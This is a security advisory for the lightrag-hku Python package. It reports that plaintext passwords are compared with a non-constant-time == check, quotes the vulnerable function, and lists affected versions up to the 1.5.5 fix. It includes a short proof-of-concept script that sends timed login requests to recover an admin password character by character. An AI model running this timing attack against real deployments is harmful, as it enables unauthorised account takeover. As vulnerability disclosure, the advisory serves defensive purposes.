GHSA-c759-cx9p-mrwq

Source

https://github.com/advisories/GHSA-c759-cx9p-mrwq

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c759-cx9p-mrwq/GHSA-c759-cx9p-mrwq.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-c759-cx9p-mrwq

Aliases

CVE-2026-85725

Published

2026-09-22T20:40:19Z

Modified

2026-09-22T21:00:04Z

Severity

5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Details

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Database specific

{
    "cwe_ids":  [
        "CWE-208"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-22T20:40:19Z",
    "nvd_published_at":  "2026-09-22T17:17:27Z",
    "severity":  "MODERATE"
}

References

Affected packages

PyPI / lightrag-hku

Package

Name: lightrag-hku; View open source insights on deps.dev
Purl: pkg:pypi/lightrag-hku

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

1.5.5

Affected versions

0.*

0.0.2

0.0.3

0.0.4

0.0.5

0.0.6

0.0.7

0.0.8

0.0.9

1.*

1.0.0

1.0.1

1.0.3

1.0.5

1.0.6

1.0.8

1.0.9

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.1.7

1.2.1

1.2.2

1.2.3

1.2.5

1.2.6

1.3.0

1.3.1

1.3.2

1.3.3

1.3.4

1.3.5

1.3.6

1.3.7

1.3.8

1.3.9

1.4.0

1.4.1

1.4.2

1.4.3

1.4.4

1.4.5

1.4.6

1.4.7

1.4.8rc4

1.4.8rc6

1.4.8rc7

1.4.8rc8

1.4.8rc9

1.4.8.1

1.4.8.2

1.4.9rc1

1.4.9rc2

1.4.9rc3

1.4.9rc4

1.4.9

1.4.9.1

1.4.9.2

1.4.9.3

1.4.9.4rc1

1.4.9.4

1.4.9.5

1.4.9.6

1.4.9.7

1.4.9.8

1.4.9.9

1.4.9.10

1.4.9.11

1.4.10

1.4.11rc2

1.4.11

1.4.12rc1

1.4.12

1.4.13rc1

1.4.13

1.4.14

1.4.15

1.4.16

1.5.0rc1

1.5.0rc2

1.5.0rc3

1.5.0

1.5.1

1.5.2

1.5.3

1.5.4

1.5.5rc1

Database specific

last_known_affected_version_range

"<= 1.5.4"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c759-cx9p-mrwq/GHSA-c759-cx9p-mrwq.json"